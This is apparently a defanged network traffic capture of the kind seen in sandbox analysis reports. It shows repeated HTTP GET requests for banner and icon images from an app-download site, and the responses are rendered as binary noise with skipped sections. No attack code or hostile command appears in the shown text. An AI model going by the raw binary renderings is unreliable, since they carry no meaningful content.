...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. 
<<< skipped >>>

GET /thumbnails/banner/images/assets/6/e/6ef6fd5410a7fb481fe6841cb381c046.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/jpeg
Content-Length: 40230
Last-Modified: Thu, 13 Jun 2013 18:08:34 GMT
Connection: keep-alive
ETag: "51ba0aa2-9d26"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................].........................!..1."AQa..q.#2B...
..r...$3Rb.......&CS...'4tuv........V7Udfs..........................
..........G.........................."2!#1B..3AQRq...ab.....$CSrs..c..
.......4..............?....r.......<([email protected]...:...(.H.F,(..."....c
....l9..8q._.D's.A$.r....HD......#....YRs......Ha.BlE ..A.0d&......k..
!N.pdy.....C..O......bpC...1b...tQa..P.. #K..$......wN...|..........VS
.)... =...]..pG.B.I...m.0...G..K..!..r.i......H....:...x...B....!Zc#..
..90..q.5Q.......Y..I.`@ ...!.X...........A....t9....A........M...h...
]r.E....6...u>..w...76Y.....0.......tL.6.......)..X...t.{.k_A.d.k.;
`....f...7>..fk...y.]....u=.(.X.. (..o.O..O.......Ds.....:Q.x......
.q.~.V...i.....a."..$t..1!mRe......vX... .0Kb:.....&,f.....Z.....g.dx.
[email protected],.2.F....K.-m..eRgz....>x...{.G.............<eg....9#
@..=........."...t'..:..B...b8...........).p.b.C.F...HXK..HXE0....p..B
0.".....M....K.H#.l)(g?...*[email protected]..
....r ..`...8q..........4..........JhV!q.i.i7.q.........qZv....(..}NQ.
..-]Q..Ij...j..-0f..(.D.R..].j([email protected]"ekjU6.U..
`.A....... ...F..3..S.....z.'.....K........?w3..).o...:.7...qL....e..I
......?.....H...RF`...4R.b..-Z.%f$."i.&......l...H*..`n......#pA .
<<< skipped >>>

GET /thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/png
Content-Length: 116206
Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT
Connection: keep-alive
ETag: "51ba0702-1c5ee"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...y.mGU/...j
...>}[email protected]#~..\.@@}.(".<..{A.."......J.A...AHBh.D
........j.....Ys5.............Y.....(z.O.......HU.H... 0..h.0Q_..?....
@...W...<.$b...-..T?.J...".. p*\.LZ.......Q)1......h.....KT...].4..
.%u..E.h.S.1:........d.<.s.AK....V....K.d..G....m .Q.~....F.<5Z.
....Uk5}.j.n.......B.Q@%. [email protected].*H?G....D..%H...b..i...E.bf...5M3
.7~..c. &ff.w.-.. 1..C.c.!......w.....mv......jYt......9&.....0"T....H
EI..L_4....S...$..,...N.l*P.B..A....\..QU!...@U4B.%.HT...*..bT..%h..A.
D..Q.&.9..heuu...;..]..o......v.......|..C.7.O.M...t...m..0.B'.b..j8..
.1\t..kR...#...uT.i..Hu...>Q..[d...R.J.vE.I..c..@>....R..."=...f
.I.w....a@\.s*..D=uI.....3.?bw..d...tE....n9n:....V.S....3...4..B.....
P..<C.a..NN=..G....<.4..R..#..\..R..PQ.(....H..#i.......D..JQEEU
Db...1...Q.....e{...j.b...Jl?2.cfG.`I..*A..*g.'..r$..j..H.U.....Y.~..Z
.....FT...S5N.P...*...y.5.v...~TUUDD4....b#ff&b&.).1...rD.&..m../|..2.
...XS...f4.J.._.......j..h.ZtKL...R....i....Y..f^..0..)s.j..,.Y......`
.3:L..z....................D....D.E....Y.*.s../~.2.>l3.."M.hn...C..
.j...Z..;...;G...j!#C...9v12......(1J'.E$.$.o.vZ...".%. .c...%.(b.JT..
W.F...S."...9&..1.#v..1.*.T..*$..J...i......2%..y.U..^.`9.Z....P-}HRB.
.. W.~.1....<;;:..DUEEDb.(....1..9b...9V.9.....X5....?..1.dy}...p.f
{. O4..Z.S1.P...p......u...,.......hZF...tk$]0...c.7...X6..b7....=....
P^....L..f...$.%....n....)U..*-.. ....j4.............,..tI{.fdoa...!s1
.......s.i..L9A...FC.e...F.GO.....(Q..w1.....D.9.`R.3........3.9..
<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/png
Content-Length: 173932
Last-Modified: Thu, 13 Jun 2013 17:00:48 GMT
Connection: keep-alive
ETag: "51b9fac0-2a76c"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w..G.8.^U.
...9h....%Y.ec..9c.1`...8L<8...w...3..q&...q..c.c.. ..........6....
.....LOOO.J ~..i>.....W..zU...0...{.N... .f........\.!S...9K.[..4_.
... ..D$N.O..}....'.\.QQSU..\Y..$.R....9.......@B........ .......a..zh
.._&.#..$.$_..[....W0.IB..........S...[..A..B0....B..........}.S.e.}..
....}..8...\c.D2...\[email protected]`*99.y....#1.lHa..k:.
........'..)....`n.e 2.f....S...........P..G?.zi.(..I........a.S...B..
<.....cID...a ......._.'.c....!g..=.R.....i.J....:[email protected]
5.Y[gG}....J...i..\p......y8....(.Qg.H...3x.....OD..x,..Ec.h$.....h\I.
..).....$......D,...D(.@%. ."..f..e...t9.^...r..^...qI.D........T....R
.."I..lvrz....h...P;.8.........pa...B...4strL.L.".us.i...0...}F.B.....
.......\... D.#...?Uf..M.9.......Y.e.6.F...K..D..U..;wr..-RM..M..P'...
..=...'..._|........315.,..nH..6...s.....A^.y.%.\.:._J.R.Lb6...9Y....&
lt;...Y.9......*.....  ..U&N.U.....^.R..dQmC....TUcL.9...!.a.J)..T5...
..........@4.@!.v{..].......|^...r.....!..$I._I.V...7..jBpMc..TU....h4
............?..D...!...........}^..f...g...T.4.Pb...X|lp....=.... ..7.
.......A._0k~.......B7..9>M.......uV........sl....kc.X.......U...,.
uS..QR..B9A."M...........o..?....*/D.S).D......., .Hyz.|X.9A .yI.t...0
?..{...e`2...$j.....Tb...b.9.)....v..X.$....8;...}.h.`[email protected]
..T..H(%...F..f.F.......ER[QVW[UW_S^^RT\T\T$I.....s..O .iVla...S=.`..)
A"@0...P.....................,.....,..ym.....0...!.M........u..G.Vy.]f
o[.2..Ad..l...p..6'fj..a..L.3..T...:.....2..k/.o....Y..p.7,..&Rczd
<<< skipped >>>

GET /images/5.0stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0

GET /thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0



.......iW.........(...|........].?......1~]9..Us......G"K[....z......O
[email protected].[...7..\O.........tN.....h.......8....'...4......Bk..
...~.WJaYV.}!..g.,.....&W~.J.?......[n....c.......I{[.m...q...s.9...~4
55...rsw.w.{?.<p7... .y..kK..a/.Su...j.#.;.D..!O<....:......9..'
...(F. <'Mx!.........L... .*.{j....}..;T......R~.UB....zX..(. .2G..
......y.}@..=q...J....M.A...tL.I..it.w0q...Z[hij&n.5.q].Z)U|.f.T...^.R
....,.!.K.,.'?...........r.j.=.XV.ZY....o`....u..8...hljb.............
..............a={......;P.x....T....B.#5.d...9.c`4r.c......1`.vF.....R
.....5...l-.........W...j1~...8......3...Z..V...:..............7..0.L.
l....N}.D&....=.d.}.3e..&O.Lgk.6.Q?....a^....2.......,...............z
|......g>.M.O2U..G..[....?.0.O.FCC...}........k.....y.......&l.c/..
...A.....^..Q..cQm....Q...jF@.....`.d.v..`g.......k]...._...l.j.{...J.
."I.EfD..0.-8...#CI.n.....L.2..NS...........>s..'Lb..IL.<..q..&l
t;a"M..cLn.....`.8.Sf.....X..qK.l....t:..?...../..7.Q.....G.u4.>...
....N..6.=.....>...=.9s....:.8<....r..Y..KL...../.d....h..r...d.
.....)...~.}[email protected]..<....b.;..C............ y.Q....
L.......$..%..6..Dq. ....}o\.....V..&.&Nf...L.6..S......I...9..q..O%w.
P....2.~.@)..\F.A.h..(r.E........"..Gf.F./Z...../n..............N...o.
.....q...q.I'1o..L.<.....v.,G....{.....z...=.z..f)...7P/ .k-?.C`$F.
H..l.2.Z..kQ....j..H...............x....!.oG...wW..(._UN..._>..pB..
......a..f4......B</.zY....-..5a...lK3.......O....3..0...g0.s..;;..
..)w...Z....{..F.P.l.`).e...i...ZKT....e..s..XF.Fdqa.%.0.H........
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: image/png
Content-Length: 41466
Last-Modified: Thu, 13 Jun 2013 17:56:48 GMT
Connection: keep-alive
ETag: "51ba07e0-a1fa"
Expires: Thu, 12 Feb 2015 06:03:55 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs.........B(.x
....tEXtSoftware.VVV.inkscape.org..<... .IDATx...wx......]....{....
.j.)..K.@B .` |..PB...K.....j:..eS....{..%...|.l....{ggvg..{....9..; e
.{.=...$..A..A..\...A..A.....A..A.BH...A.D/...A..A.BH...A.D/...A..A.BH
...A.D/...A..A.B<...A..A..s.......?x.....v...N.$.. ...y,...o.U.....
...p{<..v.V...A......W7.v......;.......1.....l%[email protected].=.....{..~./..
>._T..l.|[email protected].=..v=.....k....^n..`.... E..$... ."..a..'....k.q
[email protected].. . ..1h.....@...../.VB... .....c!..
...0~.a..V..c:i.4........J["$... .....B..S&_:..i........Y|.!.....@....
[email protected]=1P\t....E.WK.D#...~...
.....A....{.I..J.o)..........~....0....I...A.........J.o/.............
..k.......9....A.....O......[.k..c..!I.......|.....M......A..A..[.;...
....}j.r.\...:........P.s..... .. ....N...V_.,-...q.s9q...../.\..}....
9q.2..A.....c!6...fT......[[email protected]%....7)
...aC.Q... .. ..................~.DQ.|.^.....`Y..}.9}...... .....O8...
.........UhGQ..I.....w..(... .. ..........o ........`.E.....j.$... ...
.?.......`Y.TC.,...P..c.?x...... ......8.....&_..w....rl.....o.hW...o.
 .. .9..p.9R$......../IR.......>M3.v]nw..c.|A.>e... .B.{.:m..(..
...]....~.vK.j>.......$... .....L...1..`Y.....7..Q.o.nY]...:.|I...A
...7M9..~.... .......|.iB...5.u....k...A..A.p....*..."4t....-...s.@Y..
.@q.*..H...A...7M9dF.q.......cP .S.. [email protected]...,
..t...?9A....k.8.....I...A.D..X.=p.I...0.2......:.@. !=`.e.b.|/..B
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: image/png
Content-Length: 275725
Last-Modified: Thu, 13 Jun 2013 18:08:34 GMT
Connection: keep-alive
ETag: "51ba0aa2-4350d"
Expires: Thu, 12 Feb 2015 06:03:55 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:3212C012122068118A6DE6ECBB0B76D8" xmpMM:DocumentID="xmp.did:1AA1
385C0AE811E286AAD4663D41448D" xmpMM:InstanceID="xmp.iid:1AA1385B0AE811
E286AAD4663D41448D" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FB41A5FD2B2068118D
BB8B5619EC708E" stRef:documentID="xmp.did:3212C012122068118A6DE6ECBB0B
76D8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>9..U..1;IDATx...{...U....w>............i
L.......B.@".JK....U...)...ZEj...UT..I..F..ID......B....s`<.o.....|
...z.s....Y...........~..^k].Z...p.....;..}{:t.....3..uk.......92....5
...Mw....{...i{{{~..^?.;vl>V.W....g.{}...q.=...W....W..............
....\...w.....:O.Y..u.q. ..k..\W.... .....>...8.}.x...{..........}.
.>^.p\.#u.:......s../........x...c..[........^.....9^.V.2.9^}.X5.5~
.{.^...x-|><n..gY?.1s..z.....Q..{..s....zo]..?...s.2..:?.9..r|r.
....^8..,37rO... ..1..r..39...^...?.Q.S.I. ....x|>..\s.b=....!.
<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: image/png
Content-Length: 430688
Last-Modified: Thu, 13 Jun 2013 17:02:16 GMT
Connection: keep-alive
ETag: "51b9fb18-69260"
Expires: Thu, 12 Feb 2015 06:03:56 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0



..0P.k|..r..~'..S...Ji.9....t.....m..&>.........FR.....\..T.....p..
[email protected].......<..6...]..
%A...!.'w.#H.o....a..PJ.8.......L.>..3........ ..<.H...k.*..}...
.Y..............}^.N....jKG ......q.c.6......8.3V.;%.Yl...b%..Zb%.....
.....'..H...Y.....G,...3.d...:wi......F.$....S..Y._Z.M..PG ...XL{Rmd..
..&Hc..`o.TG"E.IG..t.*.D.X.it.&.4......J.......ru......R.M.........F..
...[....<.Ig....7.=`T.......r.DA1.........k...k.....^1.!...G2xaU1..
v\J......^ ..=0.\y\)..Z.I!...5..D..R.g.;K...0|.l..W;`N.....w....c...&g
t;.S.. k'^..:w...c..K.V.....>.]...;W...Va..T..B......^..c.#...k.,..
N....]..l.Uj..u.Gwj...w.m.............cg.9.?.r...\O.|}H...T'}[email protected]...
...;X%)W.......8....L]...i.3..R..5>=n...Y....b...M..u..WL,...Zo....
[[email protected]..%1._........ ..h...Lm......$,.....t .v.I..\.. .*...YD...
...../..u.Zg..r.i....R...j.q`.....Y..]...^G.....vj..u..W.eo.T..hO..&` 
Km..../=....^f=..5.:G.........8....a.....=O.*.......n..../.D.w........
m..1.*.0.wR.:Z.?B..}.k..# V...:SQ....`..6N...Z.)..I.:....p....gH......
.L\.9.~.}S.4.F..2.<[email protected]...\..5.k[.:....-.....za*S......k.......,
...`%...Yu.....^_.....~...H..l.4.G.....y. &.u..2..b.%..Q'..Ax....}...k
[email protected]..*.....!.[&x.. ..FD.$......^.G..c..%..
V.b....4..V.. ..*.43`.Z....vQ..*..<.=h.....e.....Yp.N... ..:.......
..V.ZYX....|..(..8...n..c].8.H.>?..H;Yb...............D...~..{;3..W
K.a(.[.5./ds.Bb..5u2r..,h....IY.-..7....6p=.|.o.....{.Lr.......[R..ams
v..hUt...]?|&...T.......v`....\u.:k].v... 4.........j..d...=.9:q.j
<<< skipped >>>

GET /thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Type: image/png
Content-Length: 317939
Last-Modified: Thu, 13 Jun 2013 17:01:07 GMT
Connection: keep-alive
ETag: "51b9fad3-4d9f3"
Expires: Thu, 12 Feb 2015 06:03:57 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Type: image/png
Content-Length: 389080
Last-Modified: Thu, 13 Jun 2013 17:01:34 GMT
Connection: keep-alive
ETag: "51b9faee-5efd8"
Expires: Thu, 12 Feb 2015 06:03:57 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:EF6B70037212E2118073EBF64AF82230" xmpMM:DocumentID="xmp.did:E117
CFAA127811E2985DB6A8A980C008" xmpMM:InstanceID="xmp.iid:E117CFA9127811
E2985DB6A8A980C008" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EF6B70037212E2118073
EBF64AF82230" stRef:documentID="xmp.did:EF6B70037212E2118073EBF64AF822
30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>P.......IDATx...y.m.Y...k.....7..=...Dl.a..Q.
...81Eb(..R...OH.J..$.;.2.....v*8..R&1qpR`..b.#!.0K.h.ix....3.i...7u..
k.}.y...;.....k......~..<{.8k..s.......!........Zc]|...?.3|.l...g.1
........9........>..&.G[..-=.l> ..W.........0.....o..........'..
..~..4>..k........%T.U\.x.>.c.k....k..d]:7S.....w.~....1Z.o]..q.
\.y.5.q..u............5&...#...}..q........../... ..... ..x.,...s.....
.O...#....C.K......}....?....-_.}P. ...'.>..al...5.....;....c|q.}..
W.7&........[3.7aj......{P.........vp.....k......B..c;B.....>.&
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 77988
Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT
Connection: keep-alive
ETag: "51bbfce5-130a4"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
